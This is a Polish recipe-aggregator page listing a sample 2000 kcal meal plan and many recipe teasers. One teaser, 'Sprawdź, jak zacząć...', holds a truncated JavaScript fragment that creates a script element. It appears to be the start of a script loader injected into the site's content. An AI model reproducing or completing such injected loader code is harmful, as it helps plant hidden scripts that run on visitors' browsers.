Mamy 250090 przepisów na 596 blogach.

Wyświetlono: 944 razy

Przykładowy jadłospis 2000 kcal

Przykładowy jadłospis 2000 kcal Źródło: https://health-fit-life.blogspot.com/2018/07/przykadowy-jadospis-2000-kcal.html
Autor: Weronika

Witajcie,na moim blogu mozecie znalezc juz przykladowe jadlospisy na 1800 kcal i 1700 kcal. A dzisiaj podwyzszamy nieco kaloryke. Przygotowalam jednodniowy jadlospis 2000 kcal. Tradycyjnie bazuje na prostych i dosc latwo dostepnych skladnikach.Pamietajcie, ze to tylko przykladowy jadlospis - nic nie zastapi indywidualnie opracowanego planu! Jesli takiego potrzebujesz mozesz sie do mnie smial...

Zobacz cały przepis...


Najnowsze przepisy

Pizza dla cukrzyka: Jak...

Pizza dla cukrzyka: Jak...

Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 4

Zobacz przepis!

Zapiekanka ryżowa z...

Zapiekanka ryżowa z...

Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 5

Zobacz przepis!

Sprawdź, jak zacząć...

Sprawdź, jak zacząć...

(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 10

Zobacz przepis!

Zapiekane naleśniki z...

Zapiekane naleśniki z...

Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 11

Zobacz przepis!

Azjatycka zupa z...

Azjatycka zupa z...

Azjatycka zupa, która robi klimat Robię dziś... ⇖ 10

Zobacz przepis!

Ciasto Zmierzch z kremem...

Ciasto Zmierzch z kremem...

Ciasto Zmierzch z kremem owocowym, galaretką i... ⇖ 19

Zobacz przepis!

Ciasto bananowe –...

Ciasto bananowe –...

Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 12

Zobacz przepis!

Mięciutkie ciasto...

Mięciutkie ciasto...

Nic tak nie motywuje do włączenia piekarnika,jak chęć... ⇖ 20

Zobacz przepis!

Czy maślaki można...

Czy maślaki można...

Maślaki to grzyby, które potrafią rozczulić i... ⇖ 17

Zobacz przepis!

Turbo szybki makaron...

Turbo szybki makaron...

Prościej się chyba nie da. Przy czym dostajemy bardzo... ⇖ 18

Zobacz przepis!

Brokuł zapiekany z...

Brokuł zapiekany z...

Ziemniaki zapiekane z brokułem to propozycja na prosty, a... ⇖ 22

Zobacz przepis!

Sernik jajko sadzone na...

Sernik jajko sadzone na...

Dzisiaj przychodzę do Was z prostym przepisem na... ⇖ 45

Zobacz przepis!

Orkiszowy Superfood z...

Orkiszowy Superfood z...

To nie jest kolejny zwykły chleb. To przemyślana... ⇖ 24

Zobacz przepis!

Sernik gotowany cytrynowy

Sernik gotowany cytrynowy

To nasze ulubione ciasto, którego nie trzeba piec.... ⇖ 25

Zobacz przepis!

Przepisy z bloga

Przepis#197...

Przepis#197...

Witajcie,zima w pelni a ja juz tesknie za latem i ….... ⇖ 879

Zobacz przepis!

Brutalna prawda o...

Brutalna prawda o...

Kiedy chcemy zrzucic zbedne kilogramy kieruje nami rozna... ⇖ 790

Zobacz przepis!

Przepis #196 Kokosowy...

Przepis #196 Kokosowy...

Witajcie,jesli jestescie fanami kokosa (ja jestem wielka... ⇖ 862

Zobacz przepis!

Przepis #195

Przepis #195

Witajcie, ⇖ 697

Zobacz przepis!

Święta na diecie?

Święta na diecie?

Zbliza sie trudny okres dla osob dbajacych o linie – tak... ⇖ 867

Zobacz przepis!

Przepis #194

Przepis #194

Witajcie,makowiec to jedno z obowiazkowych ciast na... ⇖ 722

Zobacz przepis!

Przepis #193

Przepis #193

Witajcie,polaczenie jablek z przyprawa korzenna do piernika... ⇖ 748

Zobacz przepis!

Przepis #192 Tort...

Przepis #192 Tort...

Witajcie,Bardzo orzechowy torcik inspirowany pralinkami... ⇖ 1233

Zobacz przepis!

Przepisz #191

Przepisz #191

Witajcie, ⇖ 784

Zobacz przepis!

Przepis #190

Przepis #190

Witajcie,wraz z poczatkiem grudnia zaczynam serie... ⇖ 829

Zobacz przepis!

Przepis #189 Ryżowe...

Przepis #189 Ryżowe...

Witajcie,delikatny ryz to swietna baza dla przygotowania... ⇖ 976

Zobacz przepis!

Przepis #188 FIT Kopiec...

Przepis #188 FIT Kopiec...

Witajcie,czekoladowy biszkopt z bananami i puszystym kremem... ⇖ 1036

Zobacz przepis!

Przepis #187 Ucierane...

Przepis #187 Ucierane...

Witajcie,na pozolklych kartkach starego zeszytu mojej babci... ⇖ 910

Zobacz przepis!

Przepis #186 Ciasto FIT...

Przepis #186 Ciasto FIT...

Witajcie,lekkie i puszyste ciasto Ptasie mleczko to deser,... ⇖ 1890

Zobacz przepis!

Przepisy na czasie

Zapomnij o zwykłych...

Zapomnij o zwykłych...

Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 704

Zobacz przepis!

BABKA MARMURKOWA W...

BABKA MARMURKOWA W...

Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 644

Zobacz przepis!

10 najlepszych ciast na...

10 najlepszych ciast na...

Wielkanoc to wyjątkowy czas – pełen rodzinnych... ⇖ 571

Zobacz przepis!

Ciasto Magnolia z...

Ciasto Magnolia z...

Ciasto Magnolia z zieloną galaretką i kremem... ⇖ 404

Zobacz przepis!

Babka z kisielem...

Babka z kisielem...

Babka z kisielem cytrynowym na olejuBabka z kisielem... ⇖ 394

Zobacz przepis!

Galaretka wielkanocna w...

Galaretka wielkanocna w...

Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 316

Zobacz przepis!

Ciasto Leśna Królowa

Ciasto Leśna Królowa

Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 308

Zobacz przepis!

Sernik na tartym cieście

Sernik na tartym cieście

To klasyczny, domowy sernik na kruchym spodzie z... ⇖ 291

Zobacz przepis!

Ciasto Iskierka z musem...

Ciasto Iskierka z musem...

Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 248

Zobacz przepis!

Sałatka wiosenna -...

Sałatka wiosenna -...

Szukasz przepisu na sałatkę, która nie „pływa”?... ⇖ 239

Zobacz przepis!

Ciasto tortowe z kremem,...

Ciasto tortowe z kremem,...

Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 199

Zobacz przepis!

Jajka w sosie czosnkowym...

Jajka w sosie czosnkowym...

Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 191

Zobacz przepis!

Biała kiełbasa...

Biała kiełbasa...

Biała kiełbasa pieczona – prosty przepis na... ⇖ 187

Zobacz przepis!

Sernik z brzoskwiniami...

Sernik z brzoskwiniami...

Sernik z brzoskwiniami na kruchym kakaowym cieście to... ⇖ 183

Zobacz przepis!